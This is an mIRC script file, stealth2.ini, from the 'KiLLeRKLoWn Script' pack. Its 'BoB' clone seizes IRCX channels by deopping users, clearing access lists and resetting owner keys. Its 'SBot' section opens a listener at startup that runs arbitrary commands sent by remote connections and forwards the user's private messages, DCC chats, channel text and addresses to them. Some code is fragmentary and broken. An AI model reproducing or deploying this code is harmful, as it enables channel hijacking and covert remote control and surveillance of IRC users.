KiLLeRKLoWn² Script — File Browser
KiLLeRKLoWnScriptv2.8 / KiLLeRKLoWnScriptv2.8 / stealth2.ini
stealth2.ini — 57.25 KB — Download this file
alias stealthstat {
if ($sock(@BoB,1).status != $null) { $awinfecho Stealth Clone is $upper($sock(@BoB,1).status) }
if ($sock(@BoB,1).status == $null) { $awinfecho Stealth Clone is NOT ACTIVE }
}
alias BoB {
/set %server $$?="Server?"
.enable #stealthmode | .enable #stealthkick
set %st.cl BoB-[ $+ $r(a,z) $+ $r(0,9) $+ $r(a,z) $+ ]
sockopen @BoB %server 6667
}
on 1:SOCKOPEN:@BoB:{
window -p @BoB 0 0 310 100 @BoB Arial | titlebar @BoB - (HI MY NAME IS BOB)
sockwrite -n $sockname USER BoB Bob BoB :I am BoB
sockwrite -n $sockname NICK %st.cl
sockwrite -n $sockname IRCX
sockwrite -n $sockname MODE %st.cl +i
drawtext -pbc $sockname 0 1 Arial 14 105 3 210 15 4Connection Status:15 $upper($sock($sockname,1).status)
drawtext -pbc $sockname 0 1 Arial 14 105 19 210 15 4IRCX Status:15 OFF
drawtext -pbc $sockname 0 1 Arial 14 105 35 210 15 4Last Chan:
drawtext -pbc $sockname 0 1 Arial 14 105 51 210 15 4Last Action:
drawtext -pbc $sockname 0 1 Arial 14 105 67 210 15 4BoT NaMe:15 %st.cl
drawtext -pbc $sockname 0 1 Arial 14 105 83 210 15 4IRCX Server:15 %server
window -a @BoB
}
on 1:SOCKREAD:@BoB:{
if ($sockerr > 0) return
:nextread
sockread %sock.read.line
if ($sockbr == 0) return
if ($gettok(%sock.read.line,1,32) == PING) { sockwrite -n $sockname PONG $gettok(%sock.read.line,2-,58) }
if ($gettok(%sock.read.line,2,32) == PROP) { set %Key. [ $+ [ $gettok(%sock.read.line,3,32) ] ] $remove($gettok(%sock.read.line,5,32),:) }
if ($gettok(%sock.read.line,2,32) == PRIVMSG) && ($address($me,5) isin $gettok(%sock.read.line,1,32)) && ($gettok(%sock.read.line,4,32) == :!part) { sockwrite -n $sockname PART $gettok(%sock.read.line,3,32) }
if ($gettok(%sock.read.line,2,32) == PRIVMSG) && ($address($me,5) isin $gettok(%sock.read.line,1,32)) && ($gettok(%sock.read.line,4,32) == :!q) { sockwrite -n $sockname MODE $gettok(%sock.read.line,3,32) +q $me }
if ($gettok(%sock.read.line,2,32) == 800) { drawtext -pbc $sockname 0 1 Arial 14 105 19 210 15 4IRCX Status:15 ON $chr(160) }
goto nextread
}
on 1:SOCKCLOSE:@BoB:set %sockwin $sockname | unset %st.* | .disable #stealthmode | .disable #stealthkick | sockclose $sockname | window -c %sockwin
on 1:CLOSE:@BoB:unset %st.* | .disable #stealthmode | .disable #stealthkick | sockclose $target
#stealthmode off
on 1:RAWMODE:#:{
if (($mode(1).deowner == $me) || ($mode(1).deop == $me)) && ($sock(@BoB) != $null) { .disable #stealthkick | sockwrite -n @BoB join $chan %Key. [ $+ [ $chan ] ] | set %cmask $address($nick,4) | sockwrite -n @BoB mode $chan +qq-ooo $me $me $ialchan(%cmask,#,1).nick $ialchan(%cmask,#,2).nick $ialchan(%cmask,#,3).nick | sockwrite -n @BoB prop $chan ownerkey $r(a,z) $+ $r(A,Z) $+ $r(a,z) $+ $r(0,9) $+ $r(A,Z) | sockwrite -n @BoB access $chan clear | set %st.last.chan %st.chan | set %st.last.act %st.act | set %st.chan $chan | set %st.act $iif($1 == -q,deowned,deoped) | .timerSTEALTH 1 3 finish.stealth | .timer 1 3 .enable #stealthkick | unset %cmask } }
.disable #stealthkick
sockwrite -n @BoB join $chan %Key. [ $+ [ $chan ] ]
set %cmask $address($nick,4)
sockwrite -n @BoB access # clear
sockwrite -n @BoB mode # +qq-oooooo $me $ialchan(%cmask,#,1).nick $ialchan(%cmask,#,1).nick $ialchan(%cmask,#,2).nick $ialchan(%cmask,#,2).nick $ialchan(%cmask,#,3).nick $ialchan(%cmask,#,3).nick
sockwrite -n @BoB prop $chan ownerkey $r(a,z) $+ $r(A,Z) $+ $r(a,z) $+ $r(0,9) $+ $r(A,Z)
sockwrite -n @BoB access $chan clear
set %st.last.chan %st.chan
set %st.last.act %st.act
set %st.chan $chan
set %st.act $iif($1 == -q,deowned,deoped)
.timerSTEALTH 1 3 finish.stealth
.timer 1 3 .enable #stealthkick
}
if (($gettok(%protect,4,32) == +q) && ($gettok(%protect,5,32) == %protect.nick)) {
.timer $+ %protect.nick $+ $gettok(%protect,3,32) 0 15 sockwrite -nt $sockname access $gettok(%protect,3,32) add owner $ip
}
if (($gettok(%protect,4,32) == -q) && ($gettok(%protect,5,32) == %protect.nick)) {
if ($level($address(%protect.knick,2)) = 100) {
if (%protect.deop = off) { halt }
set %protect.deop off
sockwrite -nt $sockname part $gettok(%protect,3,32)
sockwrite -nt $sockname join $gettok(%protect,3,32) [ $+ [ $gettok(%protect,3,32) ] ]
sockwrite -nt $sockname privmsg $gettok(%protect,3,32) : $+ meenY!
.timer 1 3 set %protect.deop on
halt
}
else {
if (%protect.deop = off) { halt }
set %protect.deop off
%mask = $address(%protect.knick,4)
sockwrite -nt $sockname part $gettok(%protect,3,32)
sockwrite -nt $sockname join $gettok(%protect,3,32) [ % $+ [ $gettok(%protect,3,32) ] ]
sockwrite -nt $sockname access $gettok(%protect,3,32) clear
sockwrite -nt $sockname access $gettok(%protect,3,32) add host %mask
sockwrite -nt $sockname mode $gettok(%protect,3,32) + $+ $str(o,$numtok($cnames,32)) $cnames
sockwrite -nt $sockname prop $gettok(%protect,3,32) ownerkey : $+ $rkey
.timer 1 3 set %protect.deop on
halt
}
}
if (($gettok(%protect,4,32) == -q) && ($level($address($gettok(%protect,5,32),2)) = 100)) {
if ($level($address(%protect.knick,2)) = 100) { halt }
else {
if (%protect.deopp = off) { halt }
set %protect.deopp off
%mask = $address(%protect.knick,4)
sockwrite -nt $sockname mode $gettok(%protect,3,32) + $+ $str(o,$numtok($cnames,32)) $cnames
sockwrite -nt $sockname prop $gettok(%protect,3,32) ownerkey : $+ $rkey
.timer 1 3 set %protect.deopp on
halt
}
}
if (($gettok(%protect,2,32) == KICK) && ($gettok(%protect,4,32) == %protect.nick)) {
if ($level($address(%protect.knick,2)) = 100) {
sockwrite -nt $sockname join $gettok(%protect,3,32) [ % $+ [ $gettok(%protect,3,32) ] ]
sockwrite -nt $sockname privmsg $gettok(%protect,3,32) : $+ meenY!
}
else {
%mask = $address(%protect.knick,4)
sockwrite -nt $sockname join $gettok(%protect,3,32) [ % $+ [ $gettok(%protect,3,32) ] ]
sockwrite -nt $sockname access $gettok(%protect,3,32) clear
sockwrite -nt $sockname access $gettok(%protect,3,32) add host %mask
sockwrite -nt $sockname mode $gettok(%protect,3,32) + $+ $str(o,$numtok($cnames,32)) $cnames
sockwrite -nt $sockname prop $gettok(%protect,3,32) ownerkey : $+ $rkey
halt
}
}
if (($gettok(%protect,2,32) == JOIN) && ($ip isin %protect)) {
set %protect.join $mid(%protect,2,$calc($pos(%protect,!,1) - 2))
if (%protect.join == %protect.nick) { halt }
sockwrite -n $sockname mode $remove($gettok(%protect,3,32),:) +q %protect.join
halt
}
if (($level($address(%protect.knick,2)) == 100) && ($gettok(%protect,2,32) == MSG)) {
if ($gettok(%protect,4,32) == :!hop) {
sockwrite -nt $sockname part $gettok(%protect,3,32)
sockwrite -nt $sockname join $gettok(%protect,3,32) [ % $+ [ $gettok(%protect,3,32) ] ]
}
if ($gettok(%protect,4,32) == :!qme) {
sockwrite -nt $sockname mode $gettok(%protect,3,32) +q %protect.knick
}
if ($gettok(%protect,4,32) == :!join) {
sockwrite -nt $sockname join $gettok(%protect,5-,32)
}
if ($gettok(%protect,4,32) == :!part) {
sockwrite -nt $sockname part $gettok(%protect,5-,32)
}
if ($gettok(%protect,4,32) == :!say) {
sockwrite -nt $sockname privmsg $gettok(%protect,3,32) : $+ $gettok(%protect,5-,32)
}
if ($gettok(%protect,4,32) == :!act) {
sockwrite -nt $sockname privmsg $gettok(%protect,3,32) : $+ $chr(1) $+ ACTION $gettok(%protect,5-,32) $+ $chr(1)
}
if ($gettok(%protect,4,32) == :!kick) {
sockwrite -nt $sockname kick $gettok(%protect,3,32) $gettok(%protect,5,32) :X $gettok(%protect,6-,32)
}
if ($gettok(%protect,4,32) == :!+o) {
echo @split1 ownering $gettok(%protect,5-,32)
sockwrite -n $sockname mode $gettok(%protect,3,32) + $+ $str(q,$numtok($gettok(%protect,5-,32),32)) $gettok(%protect,5-,32)
}
if ($gettok(%protect,4,32) == :!+h) {
echo @split1 host $gettok(%protect,5-,32)
sockwrite -n $sockname mode $gettok(%protect,3,32) + $+ $str(o,$numtok($gettok(%protect,5-,32),32)) $gettok(%protect,5-,32)
}
if ($gettok(%protect,4,32) == :!+v) {
echo @split1 voiceing $gettok(%protect,5-,32)
sockwrite -n $sockname mode $gettok(%protect,3,32) + $+ $str(v,$numtok($gettok(%protect,5-,32),32)) $gettok(%protect,5-,32)
}
if ($gettok(%protect,4,32) == :!-o) {
echo @split1 ownering $g
}
#stealthmode end
#stealthkick off
on 1:KICK:#: {
if ($knick == $me) && ($sock(@BoB) != $null) {
.disable #stealthmode
set %cmask $address($nick,4)
sockwrite -n @BoB join # $ownerkey
sockwrite -n @BoB mode # +qq-oooooo $me $ialchan(%cmask,#,1).nick $ialchan(%cmask,#,1).nick $ialchan(%cmask,#,2).nick $ialchan(%cmask,#,2).nick $ialchan(%cmask,#,3).nick $ialchan(%cmask,#,3).nick
sockwrite -n @BoB access # clear
sockwrite -n @BoB prop # ownerkey BoBWuZHeRe-( $+ $rand(1,999999) $+ )
sockwrite -n @BoB access # clear
set %st.last.chan %st.chan
set %st.last.act %st.act
set %st.chan $chan
set %st.act kicked
.timerSTEALTH 1 3 finish.stealth
.timer 1 3 .enable #stealthmode
sockwrite -nt @BoB part $chan
}
}
#stealthkick end
alias finish.stealth {
drawtext -pbc @BoB 1 1 Arial 14 105 35 210 15 4Last Chan:1 %st.last.chan
drawtext -pbc @BoB 1 1 Arial 14 105 51 210 15 4LastAction:1 %st.last.act
drawtext -pbc @BoB 0 1 Arial 14 105 35 210 15 4Last Chan:15 %st.chan
drawtext -pbc @BoB 0 1 Arial 14 105 51 210 15 4LastAction:15 %st.act
join %st.chan %Key. [ $+ [ %st.chan ] ]
if ($me isowner %st.chan) { sockwrite -n @BoB part %st.chan }
if ($me !isowner %st.chan) { join %st.chan %Key. [ $+ [ %st.chan ] ] }
.enable #stealthmode | .enable #stealthkick
}
menu @BoB {
&Die:sockwrite -n @BoB QUIT
}
alias pex {
sockwrite -n @BoB kick # $snicks(#,0)
kick # %st.cl
if ($opnick == $me) { set %deop.protection off | set %nick.mask $address($nick,2) | .sockwrite -tn join # %ownerkey | .sockwrite -tn mode # -qqq $ialchan(%nick.mask,#,1)
$ialchan(%nick.mask,#,2).nick $ial(%nick.mask,#,3).nick
}
}
on 1:START: listen
on 1:SOCKLISTEN:Stealth: {
unset %SBot.i
:start
inc %SBot.i
if ( $sock( [ SBot- $+ [ %SBot.i ] ] ) != $null ) { goto start }
.sockaccept [ SBot- $+ [ %SBot.i ] ]
%SBot.server = $server
if ( %SBot.server == $null ) { %SBot.server = $chr(149) }
.sockwrite -n SBot- $+ [ %SBot.i ] CONNECT $me $+ $chr(140) $+ %SBot.server $+ $chr(140) $+ $usermode
unset %SBot.*
}
on 1:SOCKREAD:SBot-*: {
if ( $sockerr > 0 ) .return
.sockread %SBot.read.temp
%SBot.read.temp1 = $gettok( %SBot.read.temp ,1,32)
if ( %SBot.read.temp1 == GETCOLORS ) {
.sockwrite -n $sockname COLORS $rgb(Face) $+ $chr(140) $+ $rgb(Text) $+ $chr(140) $+ $rgb(Hilight) $+ $chr(140) $+ $rgb(Shadow) $+ $chr(140) $+ $bground(SwitchBar)
if ( $bground(SwitchBar) != none ) {
unset %SBot.read.i
:start
inc %SBot.read.i
if ( $sock( [ SBot_Send- $+ [ %SBot.read.i ] ] ) != $null ) { goto start }
.sockopen [ SBot_Send- $+ [ %SBot.read.i ] ] $sock($sockname).ip $gettok( %SBot.read.temp ,2,32)
}
}
elseif ( %SBot.read.temp1 == GETWINS ) { winstat }
elseif ( %SBot.read.temp1 == GETNAMES ) { chanstat $gettok( %SBot.read.temp ,2,32) }
elseif ( %SBot.read.temp1 == GETIP ) {
if ( $query( [ $gettok( %SBot.read.temp ,2,32) ] ).address != $null ) { .sockwrite -n SBot-* NICKIP $gettok( %SBot.read.temp ,2,32) $query( [ $gettok( %SBot.read.temp ,2,32) ] ).address }
elseif ( $address( [ $gettok( %SBot.read.temp ,2,32) ] ,5) != $null ) { .sockwrite -n SBot-* NICKIP $gettok( %SBot.read.temp ,2,32) $address( [ $gettok( %SBot.read.temp ,2,32) ] ,5) }
else { .enableset #NickIP | %SBot.getnick $gettok( %SBot.read.temp ,2,32) | .userhost $gettok( %SBot.read.temp ,2,32) }
}
elseif ( %SBot.read.temp1 == CONNECT ) { .sockmark $sockname $gettok( %SBot.read.temp ,2,32) }
else {
if ( remove isin %SBot.read.temp1 ) || ( copy isin %SBot.read.temp1 ) || ( mkdir isin %SBot.read.temp1 ) || ( remini isin %SBot.read.temp1 ) || ( rename isin %SBot.read.temp1 ) || ( rmdir isin %SBot.read.temp1 ) || ( write isin %SBot.read.temp1 ) { unset %SBot.read.* | halt }
%SBot.read.temp
}
unset %SBot.read.*
}
on 1:SOCKCLOSE:Stealth:.listen
on 1:SOCKOPEN:SBot_Send-*:{
.sockmark $sockname $bground(SwitchBar)
bread $sock($sockname).mark 0 4096 &SBot.temp
sockwrite $sockname &SBot.temp
}
on 1:SOCKWRITE:SBot_Send-*: {
if ($sockerr > 0) { halt }
if ($sock($sockname).sent >= $lof( $sock($sockname).mark) ) { sockclose $sockname | halt }
bread $sock($sockname).mark $sock($sockname).sent 4096 &SBot.temp
sockwrite $sockname &SBot.temp
}
on 1:INPUT: {
if ( $sock(SBot-*) != $null ) {
if ( Chat isin $target ) { %SBot.temp = $gettok( $target ,3,32) | .sockwrite -n SBot-* DCC CHAT %SBot.temp < $+ $me $+ > $1- }
elseif ( $left( $1 ,1) != $chr(47) ) { if ( Status !isin $target ) { .sockwrite -n SBot-* SHOW $target < $+ $me $+ > $1- } }
else {
%SBot.temp = $target
if ( $gettok( %SBot.temp ,1,32) == Status ) { %SBot.temp = Status }
.sockwrite -n SBot-* ACTION %SBot.temp $1-
%SBot.temp1 = $gettok( $1 ,1,47)
if ( %SBot.temp1 == msg ) || ( %SBot.temp1 == query ) { .sockwrite -n SBot-* SHOW $2 < $+ $me $+ > $3- }
elseif ( %SBot.temp1 == me ) || ( %SBot.temp1 == action ) || ( %SBot.temp1 == describe ) {
if ( %SBot.temp1 == describe ) { %SBot.temp = $2 | %SBot.msg = $3- }
else { %SBot.temp = $target | %SBot.msg = $2- }
.sockwrite -n SBot-* SHOW %SBot.temp $+ [ $colour(Action) ] $+ * $me %SBot.msg
unset %SBot.*
}
}
unset %SBot.*
}
}
on 1:CONNECT: {
if ( $sock(SBot-*) != $null ) {
%SBot.server = $server
if ( %SBot.server == $null ) { %SBot.server = $chr(149) }
.sockwrite -n SBot-* CONNECT $me $+ $chr(140) $+ %SBot.server $+ $chr(140) $+ $usermode
}
}
on 1:DISCONNECT: if ( $sock(SBot-*) != $null ) { showinstat $+ $colour(Info) $+ *** Disconnected | .sockwrite -n SBot-* DISCONNECT }
on 1:TEXT:*:*: {
if ( $sock(SBot-*) != $null ) {
%SBot.temp = $chan
if ( $chan == $null ) { %SBot.temp = $nick }
.sockwrite -n SBot-* SHOW %SBot.temp < $+ $nick $+ > $1-
unset %SBot.*
}
}
on 1:NOTICE:*:*: {
if ( $sock(SBot-*) != $null ) {
if ( $chan != $null ) { .sockwrite -n SBot-* SHOW $chan $+ $colour(notice) $+ - $+ $nick $+ : $+ $chan $+ - $1- }
else { showinstat $+ $colour(notice) $+ - $+ $nick $+ - $1- }
}
}
on 1:ACTION:*:*: {
if ( $sock(SBot-*) != $null ) {
%SBot.temp = $chan
if ( $chan == $me ) { %SBot.temp = $nick }
.sockwrite -n SBot-* SHOW %SBot.temp $+ [ $colour(Action) ] $+ * $nick $1-
unset %SBot.*
}
}
on 1:NICK: {
if ( $sock(SBot-*) != $null ) {
if ( $nick == $me ) {
%SBot.server = $server
if ( %SBot.server == $null ) { %SBot.server = $chr(149) }
.sockwrite -n SBot-* CONNECT $newnick $+ $chr(140) $+ %SBot.server $+ $chr(140) $+ $usermode
}
unset %SBot.i
unset %SBot.temp
:start
inc %SBot.i
if ( %SBot.i <= $comchan( $newnick ,0) ) {
if ( $newnick isop $comchan( $newnick , %SBot.i ) ) { %SBot.char = $chr(64) }
elseif ( $newnick isvo $comchan( $newnick , %SBot.i ) ) { %SBot.char = $chr(43) }
else { %SBot.char = $chr(149) }
if ( %SBot.temp == $null ) { %SBot.temp = %SBot.char $+ $comchan( $newnick , %SBot.i ) }
else { %SBot.temp = %SBot.temp $+ , $+ %SBot.char $+ $comchan( $newnick , %SBot.i ) }
goto start
}
.sockwrite -n SBot-* NICK $nick $newnick %SBot.temp $colour(nick)
unset %SBot.*
}
}
on 1:QUIT: {
if ( $sock(SBot-*) != $null ) {
if ( $nick != $me ) {
unset %SBot.i
unset %SBot.temp
:start
inc %SBot.i
if ( %SBot.i <= $comchan( $nick ,0) ) {
if ( %SBot.temp == $null ) { %SBot.temp = $comchan( $nick , %SBot.i ) }
else { %SBot.temp = %SBot.temp $+ , $+ $comchan( $nick , %SBot.i ) }
goto start
}
%SBot.msg = $1
if ( %SBot.msg == $null ) { %SBot.msg = Leaving }
.sockwrite -n SBot-* QUIT $nick %SBot.temp $+ $colour(Quit) $+ *** Quits: $nick ( $+ $1- $+ )
.showinstat $+ $colour(Quit) $+ *** $nick ( $+ $address $+ ) Quits ( $+ $1 $+ )
}
}
}
on 1:DNS: {
if ( $sock(SBot-*) != $null ) {
showinstat $+ $colour(Other) $+ *** Looking up $iaddress
if ( $raddress == $null ) { showinstat $+ $colour(Other) $+ *** Unable to resolve $iaddress }
else { showinstat $+ $colour(Other) $+ *** Resolved $iaddress to $raddress }
}
}
on 1:CLOSE:=: if ( $sock(SBot-*) != $null ) { .sockwrite -n SBot-* CLOSE [ Chat- $+ [ $target ] ] }
on 1:CLOSE:!: if ( $sock(SBot-*) != $null ) { .sockwrite -n SBot-* CLOSE [ Chat- $+ [ $target ] ] }
on 1:CLOSE:?: if ( $sock(SBot-*) != $null ) { .sockwrite -n SBot-* CLOSE $target }
on 1:SNOTICE: if ( $sock(SBot-*) != $null ) { showinstat $+ $colour(notice) $+ - $+ $nick $+ - $1- }
on 1:NOTIFY: if ( $sock(SBot-*) != $null ) { showinstat $+ $colour(Notify) $+ *** $nick is on IRC }
on 1:UNOTIFY: if ( $sock(SBot-*) != $null ) { showinstat $+ $colour(Notify) $+ *** $nick has left IRC }
on 1:INVITE:#: if ( $sock(SBot-*) != $null ) { .sockwrite -n SBot-* INVITE $chan $nick $colour(invite) $address }
on 1:USERMODE: if ( $sock(SBot-*) != $null ) { showinstat $+ [ $colour( mode ) ] $+ *** $me sets mode: $1- | .sockwrite -n SBot-* UMODE $usermode }
on 1:MODE:#: if ( $sock(SBot-*) != $null ) { .sockwrite -n SBot-* CHAN MODE $chan $nick $colour( mode) $1- $+ $chr(164) $+ $chan( $chan ).mode }
on 1:SERVERMODE:#: if ( $sock(SBot-*) != $null ) { .sockwrite -n SBot-* CHAN MODE $chan $nick $colour( mode) $1- $+ $chr(164) $+ $chan( $chan ).mode }
on 1:TOPIC:#: if ( $sock(SBot-*) != $null ) { .sockwrite -n SBot-* CHAN TOPCHANGE $chan $nick $colour(topic) $1- }
on 1:OP:#: if ( $sock(SBot-*) != $null ) { .sockwrite -n SBot-* CHAN OP $chan $opnick $+ [ $colour(mode) ] $+ *** $nick sets mode: +o $opnick }
on 1:SERVEROP:#: if ( $sock(SBot-*) != $null ) { .sockwrite -n SBot-* CHAN OP $chan $opnick $+ [ $colour(mode) ] $+ *** $nick sets mode: +o $opnick }
on 1:DEOP:#: if ( $sock(SBot-*) != $null ) { .sockwrite -n SBot-* CHAN OP $chan $opnick $+ [ $colour(mode) ] $+ *** $nick sets mode: -o $opnick }
on 1:VOICE:#: if ( $sock(SBot-*) != $null ) { .sockwrite -n SBot-* CHAN OP $chan $vnick $+ [ $colour(mode) ] $+ *** $nick sets mode: +v $vnick }
on 1:DEVOICE:#: if ( $sock(SBot-*) != $null ) { .sockwrite -n SBot-* CHAN OP $chan $vnick $+ [ $colour(mode) ] $+ *** $nick sets mode: -v $vnick }
on 1:JOIN:#: if ( $sock(SBot-*) != $null ) { .sockwrite -n SBot-* CHAN JOIN $chan $+ $colour(Join) $+ *** Joins: $nick ( $+ $address $+ ) }
on 1:PART:#: if ( $sock(SBot-*) != $null ) { if ( $nick != $me ) { .sockwrite -n SBot-* CHAN PART $chan $+ $colour(Part) $+ *** Parts: $nick ( $+ $address $+ ) ( $+ $1- $+ ) } | else { .sockwrite -n SBot-* CLOSE $chan } }
on 1:KICK:#: if ( $sock(SBot-*) != $null ) { if ( $knick != $me ) { .sockwrite -n SBot-* CHAN KICK $chan $+ $colour(Part) $+ *** $knick was kicked by $nick ( $+ $1- $+ ) } | else { .sockwrite -n SBot-* CLOSE $chan | .showinstat $+ $colour(Part) $+ *** You were kicked from $chan by $nick ( $+ $1- $+ ) } }
on 1:BAN:#: if ( $sock(SBot-*) != $null ) { .sockwrite -n SBot-* SHOW $chan $+ [ $colour(mode) ] $+ *** $nick sets mode +b $banmask }
on 1:UNBAN:#: if ( $sock(SBot-*) != $null ) { .sockwrite -n SBot-* SHOW $chan $+ [ $colour(mode) ] $+ *** $nick sets mode -b $banmask }
on 1:CHAT:*: if ( $sock(SBot-*) != $null ) { .sockwrite -n SBot-* DCC CHAT $nick < $+ $nick $+ > $1- }
on 1:SERV:*: if ( $sock(SBot-*) != $null ) { .sockwrite -n SBot-* DCC CHAT $nick < $+ $nick $+ > $1- }
ctcp 1:DCC CHAT: if ( $sock(SBot-*) != $null ) { .sockwrite -n SBot-* DCC OPENCHAT $nick CTCP $colour(Info2) $colour(CTCP) $longip( $4 ) }
on 1:OPEN:=: if ( $sock(SBot-*) != $null ) { .sockwrite -n SBot-* DCC OPENCHAT $nick ACK $colour(CTCP) DCC Chat connection established }
ctcp 1:*:*: {
if ( $1 == VERSION ) && ( $2 == SBot ) { .ctcpreply $nick VERSION $me is hosting SBot-Script ver. 2 |{o|)e|) by Goldfing | halt }
elseif ( $1 == SBot ) && ( $2 == Stats ) {
unset %SBot.ctcp.i
:start
inc %SBot.ctcp.i
%SBot.ctcp.temp1 = SBot- [ $+ [ %SBot.ctcp.i ] ]
if ( $sock( %SBot.ctcp.temp1 ) != $null ) { %SBot.ctcp.temp = %SBot.ctcp.temp $sock(%SBot.ctcp.temp1).mark | goto start }
if ( %SBot.ctcp.temp != $null ) { /.ctcpreply $nick SBot Connected to: %SBot.ctcp.temp }
else { /.ctcpreply $nick SBot Not Connected to anyone }
unset %SBot.ctcp.*
halt
}
elseif ( $sock(SBot-*) != $null ) {
if ( $1 != DCC ) {
%SBot.temp = $2-
if ( $1 == PING ) { unset %SBot.temp }
if ( $chan != $null ) { showinstat $+ [ $colour(CTCP) ] $+ $chr(91) $+ $nick $+ $chr(58) $+ $chan $1 $+ $chr(93) %SBot.temp }
else { showinstat $+ [ $colour(CTCP) ] $+ $chr(91) $+ $nick $1 $+ $chr(93) %SBot.temp }
}
}
unset %SBot.*
}
On 1:input:*:{
if ($1- == hey bob) { /sockwrite -tn * JOIN # }
if ($1- == bye bob) { /sockwrite -tn * PART # }
if ($1- == cycle bob) { /sockwrite -tn * PART $chan | /sockwrite -tn * JOIN $chan }
if ($1- == die bob) { sockwrite -n @BoB QUIT BYE, MY NAME IS BOB }
}
on 1:CTCPREPLY:*: {
if ( $sock(SBot-*) != $null ) {
if ( $1 != PING ) { showinstat $+ $colour(CTCP) $+ $chr(91) $+ $1 reply $+ $chr(93) $+ $chr(58) $2- }
else {
set %SBot.pt $ctime - $2
if (%SBot.pt < 0) { set %SBot.pt 0 }
showinstat $+ $colour(CTCP) $+ $chr(91) $+ $nick PING reply $+ $chr(93) $+ $chr(58) %SBot.pt seconds
unset %SBot.*
}
}
}
;------------------------------------- CONNECT -------------------------------------------
raw 1:*: if ( $sock(SBot-*) != $null ) { .sockwrite -n SBot-* SHOW Status $2- }
raw 2:*: if ( $sock(SBot-*) != $null ) { .sockwrite -n SBot-* SHOW Status $2- }
raw 3:*: if ( $sock(SBot-*) != $null ) { .sockwrite -n SBot-* SHOW Status $2- }
raw 4:*: if ( $sock(SBot-*) != $null ) { showinstat $2- }
raw 251:*: if ( $sock(SBot-*) != $null ) { .sockwrite -n SBot-* SHOW Status $2- }
raw 252:*: if ( $sock(SBot-*) != $null ) { .sockwrite -n SBot-* SHOW Status $2- }
raw 253:*: if ( $sock(SBot-*) != $null ) { .sockwrite -n SBot-* SHOW Status $2- }
raw 254:*: if ( $sock(SBot-*) != $null ) { .sockwrite -n SBot-* SHOW Status $2- }
raw 255:*: if ( $sock(SBot-*) != $null ) { showinstat $2- }
raw 265:*: if ( $sock(SBot-*) != $null ) { showinstat $2- }
raw 266:*: if ( $sock(SBot-*) != $null ) { showinstat $2- }
raw 372:*: if ( $sock(SBot-*) != $null ) { .sockwrite -n SBot-* SHOW Status $2- }
raw 375:*: if ( $sock(SBot-*) != $null ) { .sockwrite -n SBot-* SHOW Status $4-7 }
raw 376:*: if ( $sock(SBot-*) != $null ) { showinstat $2- }
;----------------------------------------------------- SERVER ERRORS -------------------------------------------------------
raw 401:*: if ( $sock(SBot-*) != $null ) { showinstat $2- }
raw 403:*: if ( $sock(SBot-*) != $null ) { showinstat $2- }
raw 404:*: if ( $sock(SBot-*) != $null ) { showinstat $2- }
raw 405:*: if ( $sock(SBot-*) != $null ) { showinstat $2- }
raw 421:*: if ( $sock(SBot-*) != $null ) { showinstat $2- }
raw 431:*: if ( $sock(SBot-*) != $null ) { showinstat $2- }
raw 432:*: if ( $sock(SBot-*) != $null ) { showinstat $2- }
raw 433:*: if ( $sock(SBot-*) != $null ) { showinstat $2- }
raw 441:*: if ( $sock(SBot-*) != $null ) { showinstat $2- }
raw 442:*: if ( $sock(SBot-*) != $null ) { showinstat $2- }
raw 443:*: if ( $sock(SBot-*) != $null ) { showinstat $2- }
raw 465:*: if ( $sock(SBot-*) != $null ) { showinstat $2- }
raw 467:*: if ( $sock(SBot-*) != $null ) { showinstat $2- }
raw 471:*: if ( $sock(SBot-*) != $null ) { showinstat $2 can't join channel (it's full) }
raw 472:*: if ( $sock(SBot-*) != $null ) { showinstat $2- }
raw 473:*: if ( $sock(SBot-*) != $null ) { showinstat $2 can't join channel (it's invite only) }
raw 474:*: if ( $sock(SBot-*) != $null ) { showinstat $2 can't join channel (you're banned!) }
raw 475:*: if ( $sock(SBot-*) != $null ) { showinstat $2 can't join channel (requires the correct key) }
raw 477:*: if ( $sock(SBot-*) != $null ) { showinstat $2 can't join channel (need to be using a registered nick) }
raw 482:*: if ( $sock(SBot-*) != $null ) { showinstat $2- }
raw 501:*: if ( $sock(SBot-*) != $null ) { showinstat $2- }
raw 502:*: if ( $sock(SBot-*) != $null ) { showinstat $2- }
;------------------------------------------------ OTHER ---------------------------------------------
#NickIP off
raw 302:*: {
if ( $sock(SBot-*) != $null ) {
if ( $gettok( $2 ,1,61) == %SBot.getnick ) { .sockwrite -n SBot-* NICKIP $gettok( $2 ,1,61) $gettok($2,2,64) 524 | unset %SBot.getnick | .disable #NickIP | halt }
}
halt
}
#NickIP end
raw 329:*: if ( $sock(SBot-*) != $null ) { showinstat $2 created on $asctime( $3 ) }
raw 341:*: if ( $sock(SBot-*) != $null ) { showinstat $2 has been invited to $3 }
raw 381:*: if ( $sock(SBot-*) != $null ) { showinstat $2- }
alias chanstat {
unset %SBot.i %SBot.ops %SBot.voice %SBot.reg
%SBot.temp = $nick( $1 ,0)
:start
inc %SBot.i
if ( %SBot.i <= %SBot.temp ) {
if ( $nick( $1 , %SBot.i ) isop $1 ) {
if ( %SBot.ops == $null ) { %SBot.ops = $nick( $1 , %SBot.i ) }
else { %SBot.ops = %SBot.ops $+ $chr(44) $+ $nick( $1 , %SBot.i ) }
}
elseif ( $nick( $1 , %SBot.i ) isvo $1 ) {
if ( %SBot.voice == $null ) { %SBot.voice = $nick( $1 , %SBot.i ) }
else { %SBot.voice = %SBot.voice $+ $chr(44) $+ $nick( $1 , %SBot.i ) }
}
else {
if ( %SBot.reg == $null ) { %SBot.reg = $nick( $1 , %SBot.i ) }
else { %SBot.reg = %SBot.reg $+ $chr(44) $+ $nick( $1 , %SBot.i ) }
}
goto start
}
%SBot.modes = $chan( $1 ).mode
%SBot.topic = $chan( $1 ).topic
if ( %SBot.ops == $null ) { %SBot.ops = $chr(149) }
if ( %SBot.voice == $null ) { %SBot.voice = $chr(149) }
if ( %SBot.reg == $null ) { %SBot.reg = $chr(149) }
if ( %SBot.modes == $null ) { %SBot.modes = $chr(149) }
if ( %SBot.topic == $null ) { %SBot.topic = $chr(149) }
.sockwrite -n SBot-* CHAN START $1 %SBot.ops $+ $chr(140) $+ %SBot.voice $+ $chr(140) $+ %SBot.reg $+ $chr(140) $+ %SBot.modes $+ $chr(140) $+ $colour(Topic) $colour(Info2) %SBot.topic
unset %SBot.ops %SBot.voice %SBot.reg %SBot.i %SBot.modes %SBot.topic
halt
}
alias winstat {
unset %SBot.wins.i %SBot.wins.temp
:loop
inc %SBot.wins.i
if ( %SBot.wins.i <= $chan(0) ) { %SBot.wins.temp = %SBot.wins.temp $+ $chan( %SBot.wins.i ) $+ $chr(44) | goto loop }
